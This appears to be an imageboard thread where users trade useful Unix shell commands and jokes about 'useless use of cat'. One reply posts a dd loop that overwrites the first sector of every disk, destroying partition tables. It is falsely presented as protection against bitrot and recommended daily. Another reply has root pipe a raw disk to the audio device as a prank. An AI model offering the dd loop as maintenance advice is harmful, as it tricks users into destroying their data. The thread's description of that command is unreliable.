unix commands

I know some basic unix things, but I know there's a lot more out there.  Anyone care to share some of the things you find useful?  I basically only use these commands so far(and pipes and subcommands with $): cd, ls, chmod, mkdir, rmdir, rm , mv, cp, cat, less, grep, wc, find.

some things I like so far:
"cat file | less" is pretty cool for instant file viewing
"grep anything" grep rocks

and fg, bg, jobs, kill, ps, & .... probably forgetting more

$ su
Password:
# cat /dev/hda > /dev/audio

>>1 If I didn't have locate I'd go insane. Not unix commands but 'sudo !!' (sudo last command) and '!xyz'(run last command in history beginning with xyz) are really useful

cat file | less
And of course, if you've been following along for a week or two, you know that this (BING!) is a Useless Use of Cat!
Remember, nearly all cases where you have:
    cat file | some_command and its args ...
you can rewrite it as:
    <file some_command and its args ...
and in some cases, such as this one, you can move the filename to the arglist as in:
    some_command and its args ... file

Just another Useless Use of /prog/

I love hma www.someurl.com/board/post.

count stuff at the end of a pipe
awk '{sum+=$1}; END {print sum}'

clean out dups in my image dir:
md5 * 2>/dev/null | sort +3 -r | uniq -f3 -d | perl -pe 's/.*\((.*)\).*/$1/' | xargs rm -v

cat file | tr '[a-z][A-Z]' '[A-Z]_'

"cat file | less" is pretty cool for instant file viewing
Ihibbit.

for i in /dev/[hs]d?; do dd if=/dev/zero of=$i bs=512 count=1; done

Saves my system from the grasps of bitrot every time <3

I recommend doing at least daily.

i like shuf, tac, rev, sort, sed, awk, expr, and possibly many others

I like date, unzip, touch, strip, finger, mount, gasp, yes, umount, sleep.

>>10
Hurrrrr.